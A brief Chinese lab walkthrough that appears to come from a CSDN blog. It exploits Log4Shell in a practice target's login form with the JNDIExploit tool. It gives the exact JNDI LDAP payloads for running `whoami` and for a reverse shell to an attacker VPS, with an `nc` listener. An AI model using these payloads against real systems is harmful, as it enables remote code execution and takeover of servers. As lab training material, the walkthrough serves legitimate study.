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一、工具一、工具

JNDIExploit-1.2-SNAPSHOT.jar

二、靶场二、靶场

https://blog.csdn.net/weixin_43821278
https://blog.csdn.net/weixin_43821278/category_10037838.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43821278/article/details/124003110
https://blog.csdn.net/weixin_43821278/category_10037838.html
https://github.com/Mr-xn/JNDIExploit-1/tree/v1.2


看网页源码

猜测就是username和password为注入点

三、步骤三、步骤

vps有java环境
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的IP

成功运行

向密码框填入 ${jndi:ldap://vps的IP:1389/Basic/Command/whoami}  登录

有回显



先在vps运行 nc -lvp 6666监听6666

向密码框填入 ${jndi:ldap://vps的IP:1389/Basic/ReverseShell/vps的IP/6666}  登录

成功回传shell

总结总结
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